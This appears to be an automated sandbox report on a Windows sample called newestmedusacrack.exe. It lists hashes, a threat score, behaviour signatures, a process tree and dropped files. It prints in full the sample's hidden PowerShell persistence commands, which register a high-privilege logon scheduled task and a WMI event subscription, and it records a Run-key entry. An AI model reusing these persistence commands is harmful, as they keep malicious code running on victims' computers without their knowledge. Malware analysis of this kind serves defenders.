Analysis
- max time kernel
1s - max time network
5s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
03/05/2026, 15:25
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
newestmedusacrack.exe
Resource
win10v2004-20260130-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
newestmedusacrack.exe
Resource
win11-20260130-en
7 signatures
150 seconds
Errors
Reason
Machine shutdown
General
- Target newestmedusacrack.exe
- Size 15.6MB
- Sample260503-st4mcacs71
- SHA256 4d61bcc180a24291e6d092fbe5f1d3903487b61fbf2a1e6ee932e5547da3f380
- MD5 745f650cae965c20eb74d52783dcc724
- SHA1 cff21c4caa553082ef4b911352d746b0ee3b5f99
- SHA512 851c336bf8d1e00f56af96c2b01f9412d4706dd4ba16d2e44de3fc3d2071bca4dd6fb36a5c8683de8ff5f8b3136f94a4e67749eae2256856671c8cfe16dd2f3e
- SSDEEP 196608:fHo1YAYCvFYIdh8oe8oXMTw2x162Fu+bLDq:fIrYCvFYIvoMs2xg2Fu8q
- TLSH T11DF67C07FA6545E9C0AED5348972D213BB707C481B2027D72B90BB686F77BE0AE79740
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 5584 powershell.exe 3040 powershell.exe 4280 powershell.exe - Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-1235247170.tmp newestmedusacrack.exe - Executes dropped EXE 1 IoCs
pid Process 2952 medusalauncher.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-1f4d7040 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\vshost.exe\"" newestmedusacrack.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3040 powershell.exe 3040 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3040 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3712 wrote to memory of 4008 3712 newestmedusacrack.exe 79 PID 4008 wrote to memory of 2952 4008 cmd.exe 81 PID 3712 wrote to memory of 3040 3712 newestmedusacrack.exe 82
Processes
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C:\Users\Admin\AppData\Local\Temp\newestmedusacrack.exe"C:\Users\Admin\AppData\Local\Temp\newestmedusacrack.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3712 -
C:\Windows\system32\cmd.execmd /c start "" C:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4008 -
C:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exeC:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exe3⤵
- Executes dropped EXE
PID:2952
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'vshost_70325991' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3040
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C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe"1⤵PID:2088
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C:\Windows\system32\cmd.execmd /c start "" C:\Users\Admin\AppData\Local\Temp\ovld_1576046749\medusalauncher.exe2⤵PID:2176
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C:\Users\Admin\AppData\Local\Temp\ovld_1576046749\medusalauncher.exeC:\Users\Admin\AppData\Local\Temp\ovld_1576046749\medusalauncher.exe3⤵PID:908
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'vshost_70325991' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
PID:4280
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'vshost_f70325991'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'vshost_c70325991'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='vshost_f70325991'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='vshost_c70325991'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
PID:5584
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
- MD5 9f3107a91c0a75eb75418f89fe7dcbcd
- SHA1 4538595145969d10d68c8d5fd73d51a58cde93d4
- SHA512 12506d31fba03a505c3921876135d8b9cd5fd3659c5c97b2158001ab788f0f9dcff055e95be1bd33583098848efd1036d05c0b6e23d7191b02b444a37d0dbf2c
- TLSH T1F381CD323375A0D4C9563F07192C19C463AF4396EA58AF4CB658620EE92B54BDB222F7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 32bc08c5e4d3fb225bce68f45cff596f7463a64f45be77de5a512808e782d047
- MD5 6d6ac658f00b84b8a1c1ca801bdd218f
- SHA1 3bb362ccbd1fb324230f8f1586ff24b673bcb3b1
- SHA512 fa2ca80eeff78323d194bcceffbe9e77abf161ecd42ba3fffea6f201b110216976daf918a641996d0b9f75566626bc15ba2d720ef183454efb612f83233fc68f
- TLSH T1BD216533B3ECC125C8D9117A208CAD00B2B5C3C7449E8F8B7A84C619957F9DADB641A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1yw4bxzy.1sm.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exe
- Size 5.2MB
- SHA256 2601f64bbd5d9a2e02caa7d0d78e51f956510a1c2000584515ea6ab131f95de4
- MD5 53eccf90e51bda9660ff7ee38b887f12
- SHA1 d35ca958e9d358f1518bf2d95c1452a829ae31f8
- SHA512 7b2271f1ae611284de1a3ad856f7273c1572158e12607ff78b5dea1b43e9a3e766bce6ef4bdd5a36e4874ab3775581bbb6512533fcba1c76368405b44c2862ca
- SSDEEP 98304:VVh8oeRk4DUoXfBKTfW92L916utFErplub5h:Ph8oe8oXMTw2x162Fu+b
- TLSH T1BA46AE13B31643B9C152BE399966C363E730BA841F2056CF75941F9DAE9B6E01E3E780
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-2890453353.tmp
- Size 15.6MB
- SHA256 4d61bcc180a24291e6d092fbe5f1d3903487b61fbf2a1e6ee932e5547da3f380
- MD5 745f650cae965c20eb74d52783dcc724
- SHA1 cff21c4caa553082ef4b911352d746b0ee3b5f99
- SHA512 851c336bf8d1e00f56af96c2b01f9412d4706dd4ba16d2e44de3fc3d2071bca4dd6fb36a5c8683de8ff5f8b3136f94a4e67749eae2256856671c8cfe16dd2f3e
- SSDEEP 196608:fHo1YAYCvFYIdh8oe8oXMTw2x162Fu+bLDq:fIrYCvFYIvoMs2xg2Fu8q
- TLSH T11DF67C07FA6545E9C0AED5348972D213BB707C481B2027D72B90BB686F77BE0AE79740
- MD5 SHA1 SHA512 SSDEEP TLSH